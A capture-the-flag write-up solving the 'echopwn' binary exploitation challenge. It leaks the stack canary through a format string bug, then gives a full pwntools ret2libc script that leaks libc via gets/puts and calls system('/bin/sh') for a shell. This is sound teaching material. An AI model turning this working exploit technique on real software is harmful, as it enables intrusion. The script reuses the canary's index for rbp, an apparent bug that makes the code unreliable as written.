.. visibility


 
                                    WNKKKNW                                     
                                 WXxc'...':d0NW                                 
                              W0d:..'cxxdl,..'cx0N                              
                           NOo;..,lOXW    WKkl,..,cxKW                          
                       WXkl'..;o0N            NKxc,..,lkXW                      
                    WKxc'..:xKW                   N0xc'..;okXW                  
                 N0d;..'lkXW                          N0dc'..:oOXW              
              NOo,..,oON                                 WNOd:'.':xX            
            Kl'..;d0N                                        WXx' .dW           
           Wo  'xX                                         WKxc'..c0            
            Ko;..,cxKN                                  W0d:..'ckXW             
              WKkl,..,lxKW                           NOo,..,lON                 
                  W0l.  .,lkKW                   WXkl'..  .:xKN                 
                N0d;..'cl:'..;okXW            WKxc...:dOOd:'..,lxKW             
             NOo,..,lONW WXOo:...;oOXW     N0d;...cxKW    WXOo:...:0W           
           WO,..;d0N         WXOo;...;ok0ko,..,lOXW           Xx' .dW           
           Wx. 'o0N              WXkl;.....;o0N           WXkl,..:xX            
            W0d:'.,cx0N              WKOkOKW           WKx:..'ckXW              
               WXOo:'.,cxKN                         N0d;. .cON                  
                  W0l.  ..,lkKW                 WNOl,..,,..'cd0N                
               N0o;..'ckOxc'..,lkKW          WKxc'..:xKWWKxl,..,cx0N            
            WOl,..;oON     N0dc'..;lkKW   WKd:..'ckXW       NKxc. .oN           
           Wx. 'o0N           WNOd:'..;lol;..,oON           WXOl..'xW           
            0:..;oOXW             WXOo:'.':d0N           WXxc'.'ckXW            
             WKxc,.':oOXW             WNNNW           WKd:..,oON                
                 N0xc,.':d0N                       N0o;..;d0N                   
                    WN0d:'.'cd0N               WXkl,.':xKW                      
                        WN0d:'.,cx0N        WKxc'.'lkXW                         
                            WXOo:'.,cxKNWN0d:..,oONW                            
                                WXOo;'.,;,..;d0N                                
                                    WXOdookKW                                   


This was a pwn challenge finally rated with 316 points at DEKRA CTF. There was no description.

They give us a zip file with the binary, libc.so.6 and the dynamic linker.


First execution

When we first execute it we get:

❯ ./echopwn-bin
echo> hello
hello
echo> hi

So it looks like we put some input that is written back to us and finally put something again and the program exit.

The input is reflected back to us so it looks like a format string vulnerability?

❯ ./echopwn-bin
echo> %x %x %x
78252078 0 a24da980
echo> yeah

Yes! That worked. We can’t do anymore here. Let’s move on to the disassembler.

Reverse all the things

The dashboard of the binary showed us this information:

Wow, that looks pretty secure. Canary, NX bit, PIC…

If we want to make a buffer overflow we are going to need that canary. Luckly for us we know there is a format string vulnerability which will provides the solution for that problem! (At least we hope so)

Let’s move to the main function

Nothing interesting really. Let’s check what that doRead does.

Well, we can see a printf, then a gets, another printf and finally a gets again. That matches what we saw when we first run the binary.

Before leaving, it checks the canary so… yeah. Obviously we are dumping that canary.

Brainstorming

So the question is, now what? Well, there is no hidden function which contains the flag, no file loaded, no nothing. So we have to pop a shell.

The easiest way is to use libc to call execve or system with /bin/sh. To do that, we need to know where libc is loaded that particular execution (remember PIC?). We can leak that address because we know we can overflow with that final gets (as well as the first one, but that’s for other purposes)

But remember, there is canary so first we have to dump the canary (with the first gets) so the program doesn’t break.

Let’s build the exploit

Canary

First things first: the canary. We have to dump it to put it back when we overflow. We are using the format string to dump it. Let’s fire up gdb to find the exact spot.

I’m also using GEF which helps me with the debugging

Let’s run it with:

gdb echopwn

Then:

disass doRead

Let’s put a break at the end:

b *doRead + 0x153

And run it with r

Let’s put a bunch of %lx (so we don’t write over the canary):

And when we hit the breakpoint, check for $rbp - 0x8

Well, that doesn’t match any of the ones dumped. Let’s move to the next group. To access a specific item on the stack you can use: %n$lx, being n the number of the nth item on the stack so now we are sending: %5$lx %6$lx …

On that iteration we don’t get anything either. But finally:

echo> %10$lx %11$lx %12$lx %13$lx              
33312520786c2432 555500786c24 55554040 afbf17a0d8f2bb00

Breakpoint 1, 0x00005555555548c9 in doRead ()
gef➤  x/2x $rbp-0x8
0x7fffffffdbc8:	0xd8f2bb00	0xafbf17a0

So the canary is on the 13th position!

Dump libc address

To dump the libc address we are going to print back to us the address of a function from libc. Then, because we have the binary file (libc.so.6), we can substract the base address of that function and get the offset.

We have gets there so let’s use that function.

Remember! We have to redirect the execution back so the program doesn’t exit!

Pop that shell

To pop the shell, we are going to put the string ‘/bin/sh’ into the RDI register and then call the system function from libc.

Time to build the script

You know, pwntools.

from pwn import *

p = process('./echopwn')
#p = remote('__________', _____)
elf = ELF('./echopwn')
libc = ELF('./.glibc/libc.so.6')

Get the canary and the address of the main function:

I’m also getting the rbp adddress so the stack doesn’t move to some weird address

p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
main = data.split(b'.')[3]
print('Canary is 0x' + canary.decode())
print('Main + 21 (0x0000000000000908) is 0x' + main.decode())
canary = int(canary, base=16)
main = int(main, base=16)
rbp = int(rbp, base=16)

Now, let’s get the libc base address. First, we need to find a ROP gadget to put the address of gets into the RDI register:

I used ROPGadget to do this

$ ROPGadget --binary echopwn
...
0x0000000000000973 : pop rdi ; ret
0x000000000000068e : ret
...

We have the address, let’s send it. To calculate the binary offset, we know that the ret value is the address of the instruction in main after the call doRead (0x908) so if we substract the address we get to that value, we have the offset:

binary_offset = main - 0x908
pop_rdi = p64(0x973 + binary_offset)

p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(binary_offset + elf.got["gets"]) + p64(binary_offset + elf.symbols["puts"]) + p64(binary_offset +elf.symbols["main"]))

Now, the final part. Receive the address:

glibc_dumped = p.recvuntil('\n')[:-1]

def pad_null_bytes(value):
    return value + b'\x00' * (8-len(value))

glibc_base_address = u64(pad_null_bytes(glibc_dumped)) - libc.symbols["gets"]
print('Libc is at: ', hex(glibc_base_address))

And send the final exploit to pop the shell:

p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
print('Canary is 0x' + canary.decode())
canary = int(canary, base=16)
rbp = int(rbp, base=16)
p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(glibc_base_address + next(libc.search(b'/bin/sh'))) + p64(glibc_base_address + libc.symbols["system"]))
p.interactive()

Sweet!